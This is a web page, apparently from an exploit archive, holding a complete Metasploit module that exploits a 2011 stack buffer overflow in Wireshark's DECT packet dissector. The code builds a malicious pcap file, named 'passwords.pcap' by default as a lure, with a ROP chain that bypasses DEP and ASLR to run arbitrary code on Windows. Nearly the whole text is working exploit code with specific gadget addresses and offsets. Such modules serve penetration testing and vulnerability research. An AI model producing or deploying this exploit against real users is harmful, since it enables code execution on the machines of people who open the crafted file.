ExploitFixes
Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow 2011-04-19 15:15:03

##
# $Id: wireshark_packet_dect.rb 12364 2011-04-19 07:53:58Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Wireshark <= 1.4.4
When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
resulting in arbitrary code execution.
This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sickness', #found the vulnerabilitiy
'corelanc0d3r' #rop exploit + msf module
],
'Version' => '$Revision: 12364 $',
'References' =>
[
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 936,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
{
'OffSet' => 1243,
'Ret' => 0x667c484d, #libgnutl pivot - tx Lincoln
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 18 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'pcap file', 'passwords.pcap']),
], self.class)
end

def junk
return rand_text(4).unpack("L")[0].to_i
end

def exploit

print_status("Creating '#{datastore['FILENAME']}' file ...")

global_header = "\xd4\xc3\xb2\xa1" # magic_number
global_header << "\x02\x00" # major version
global_header << "\x04\x00" # minor version
global_header << "\x00\x00\x00\x00" # GMT to local correction
global_header << "\x00\x00\x00\x00" # accuracy
global_header << "\xff\x7f\x00\x00" # snaplen
global_header << "\x01\x00\x00\x00" # data link type

packet_header = "\x26\x32\xac\x4d" #timestamp seconds
packet_header << "\xda\xfa\x00\x08" #timestamp microseconds
packet_header << "\x04\x06\x00\x00" #nr of octets of packet in file
packet_header << "\x04\x06\x00\x00" #actual size of packet (1540)

ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"

print_status("Preparing payload")

pivot = [target.ret].pack('V')

# pvefindaddr rop 'n roll
# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
rop_pivot =
[
0x618d7d0e, # RET
0x618d7d0e, # RET
0x618d7d0e, # RET
0x64f9d5ec, # ADD ESP,0C # RET - libfontconfig-1.dll
0x618d7d0e, # RET <- don't count on this one !
0x618d7d0e, # RET
0x618d7d0e, # RET
0x618d7d0e, # RET
0x61C14268, # ADD ESP,24 # RETN - freetype6.dll
0xFFFFFFFF, # crash baby !
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
].pack("V*")

rop_gadgets =
[

0x6d7155cb, # PUSH ESP # POP EBX # POP EBP # RETN **[libpangoft2-1.0-0.dll]
junk,
0x6d596e31, # MOV EAX,EBX # POP EBX # POP EBP # RETN **[libgio-2.0-0.dll]
junk,
junk,
0x61c14552, # POP EBX # RETN ** [freetype6.dll]
0x00000800, # size - 0x800 should be more than enough
0x61c14043, # POP ESI # RETN ** [freetype6.dll]
0x0000009C,
0x6d58321a, # ADD EAX,ESI # POP ESI # POP EBP # RETN **[libgio-2.0-0.dll]
junk,
junk,
0x68610a27, # XCHG EAX,EBP # RETN ** [libglib-2.0-0.dll]
0x629445a6, # POP EAX # RETN ** [libatk-1.0-0.dll]
0x62d9027c, #
0x6c385913, # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN ** [libgdk-win32-2.0-0.dll]
0x617bc526, # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN ** [libgtk-win32-2.0-0.dll]
0x64f8c692, # POP EDX # RETN ** [libfontconfig-1.dll]
0x00000040, #
0x619638db, # POP ECX # RETN ** [libgtk-win32-2.0-0.dll]
0x6536B010, # RW
0x618d7d0d, # POP EDI # RETN ** [libgtk-win32-2.0-0.dll]
0x618d7d0e, # RET
0x64fa0c15, # POP EAX # RETN ** [libfontconfig-1.dll]
0x618d7d0e, # RET
0x61963fdb, # PUSHAD # RETN ** [libgtk-win32-2.0-0.dll]
].pack("V*")

pivot = [target.ret].pack('V')

buffer = rand_text(131)
buffer << rop_pivot
buffer << rop_gadgets

nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

buffer << nops
buffer << payload.encoded
buffer << pivot

filler = 1540 - buffer.length

buffer << rand_text(filler)

filecontent = global_header
filecontent << packet_header
filecontent << ptype
filecontent << buffer

print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")

file_create(filecontent)
end
end